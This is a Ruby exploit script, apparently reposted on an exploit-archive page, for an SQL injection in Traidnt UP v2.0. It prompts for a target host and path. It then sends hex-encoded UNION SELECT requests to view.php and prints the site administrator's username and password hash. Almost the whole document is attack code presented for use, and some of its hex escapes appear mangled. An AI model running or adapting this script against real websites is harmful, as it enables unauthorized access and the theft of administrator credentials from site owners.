Home / os / win10

traidntup20-sql.txt

Posted on 18 August 2009

#!/usr/bin/ruby

#=============================================#
#          Traidnt UP v2.0 Exploit            #
#         SQL Injection Vulnerability         #
#---------------------------------------------#
# Date: 05-08-2009                            #
# Discovered & written by: Jafer Al-Zidjali   #
# Email: jafer[at]scorpionds.com              #
# Website: www.scorpionds.com                 #
#---------------------------------------------#
# Conditions:                                 #
#            1. magic_quotes_gpc=OFF          #
# Notes:                                      #
#       1. Author has been notified           #
#       2. A public patch has been released   #
#=============================================#

require "net/http"
require "base64"

intro=[
"+=============================================+",
"+          Traidnt UP v2.0 Exploit            +",
"+        SQL Injection Vulnerability          +",
"+  Discovered & written by: Jafer Al-Zidjali  +",
"+         Email: jafer[at]scorpionds.com         +",
"+         Website: www.scorpionds.com         +",
"+=============================================+"
]

def print_intro text
w="|"
text.each do |str|
str.scan(/./) do |c|
STDOUT.flush
if w=="|"
print ""+c +w
w="/"
elsif w=="/"
print ""+c +w
w="-"
elsif w=="-"
print ""+c +w
w="\"
else
print ""+c +w
w="|"
end
sleep 0.05
end

print " "
puts ""
end
end

print_intro intro

puts "
Enter host name (e.g. example.com):"
host=gets.chomp

puts "
Enter script path (e.g. /upload/):"
path=gets.chomp


puts "
Press any key to continue..."
opt=gets.chomp
begin
shellcode=
"x76x69x65x77x2ex70x68x70x3fx66x69x6cx65x3dx62x6cx61x68x62x6c"+
"x61x68x27x2bx75x6ex69x6fx6ex2bx73x65x6cx65x63x74x2bx31x2cx63"+
"x6fx6ex63x61x74x28x27x53x54x41x52x54x27x2cx61x64x6dx69x6ex5f"+
"x75x73x65x72x2cx27x45x4ex44x27x29x2cx33x2cx34x2cx35x2cx36x2c"+
"x37x2cx38x2cx39x2cx30x2bx66x72x6fx6dx2bx61x64x6dx69x6ex2bx77"+
"x68x65x72x65x2bx61x64x6dx69x6ex5fx69x64x3dx27x31"

http = Net::HTTP.new(host, 80)
resp= http.get(path+shellcode)
puts "Username: "+(/START(.+)END/).match(resp.body)[1]

shellcode=
"x76x69x65x77x2ex70x68x70x3fx66x69x6cx65x3dx62x6cx61x68x62x6c"+
"x61x68x27x2bx75x6ex69x6fx6ex2bx73x65x6cx65x63x74x2bx31x2cx63"+
"x6fx6ex63x61x74x28x27x53x54x41x52x54x27x2cx61x64x6dx69x6ex5f"+
"x70x61x73x73x77x6fx72x64x2cx27x45x4ex44x27x29x2cx33x2cx34x2c"+
"x35x2cx36x2cx37x2cx38x2cx39x2cx30x2bx66x72x6fx6dx2bx61x64x6d"+
"x69x6ex2bx77x68x65x72x65x2bx61x64x6dx69x6ex5fx69x64x3dx27x31"

http = Net::HTTP.new(host, 80)
resp= http.get(path+shellcode)
puts "Password Hash: "+(/START(.+)END/).match(resp.body)[1]
rescue
puts "Could not fetch data. magic_quotes_gpc probably is ON."
end

 

TOP